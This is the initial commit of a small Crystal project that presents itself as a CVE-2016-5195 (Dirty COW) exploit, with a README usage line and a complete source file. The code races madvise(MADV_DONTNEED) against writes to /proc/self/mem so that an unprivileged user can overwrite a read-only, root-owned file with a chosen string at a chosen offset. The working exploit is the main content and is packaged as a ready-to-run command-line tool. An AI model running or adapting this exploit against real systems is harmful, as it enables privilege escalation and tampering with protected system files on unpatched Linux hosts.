Initial commit

.gitignore

@@ -0,0 +1,6 @@
+*.swp
+/doc/
+/libs/
+/lib/
+/.crystal/
+/.shards/

.travis.yml

@@ -0,0 +1 @@
+language: crystal

LICENSE

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016 Xavier Lucas
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

README.md

@@ -0,0 +1,9 @@
+# dirtycow
+
+CVE-2016-5195 exploit
+
+## Usage
+
+```bash
+dirtycow --target /path/to/root/file --string "string to write" --offset <offset_in_file>
+```

shard.yml

@@ -0,0 +1,7 @@
+name: dirtycow
+version: 0.1.0
+
+authors:
+  - Xavier Lucas <[email protected]>
+
+license: MIT

src/dirtycow.cr

@@ -0,0 +1,45 @@
+require "option_parser"
+
+module Dirtycow
+  dst = ""
+  str = ""
+  off = 0
+
+  p = OptionParser.parse! do |parser|
+    parser.banner = "Usage: dirtycow [options]"
+    parser.on("-t PATH", "--target=PATH", "Target file path") { |t| dst = t }
+    parser.on("-o VALUE", "--offset=VALUE", "Offset in target file") { |o| off = o.to_i }
+    parser.on("-s STRING", "--string=STRING", "String to write in file at offset") { |s| str = s }
+    parser.on("-h", "--help", "Show this help") { puts parser }
+  end
+
+  if dst.empty? || str.empty?
+    puts p
+    exit 1
+  end
+
+  # Open memory map of this process
+  file = File.open(dst)
+  mem = File.open("/proc/self/mem", mode = "r+")
+  ptr = LibC.mmap(nil, file.size, LibC::PROT_READ, LibC::MAP_PRIVATE, file.fd, 0)
+  chan = Channel(Nil).new(2)
+
+  # Memory advise
+  Thread.new do
+    1000000.times do
+      LibC.madvise(ptr, off + str.size, LibC::MADV_DONTNEED)
+    end
+    chan.send(nil)
+  end
+
+  # Memory write
+  Thread.new do
+    1000000.times do
+      mem.seek(ptr.address + off, IO::Seek::Set)
+      mem.puts(str)
+    end
+    chan.send(nil)
+  end
+
+  2.times { chan.receive }
+end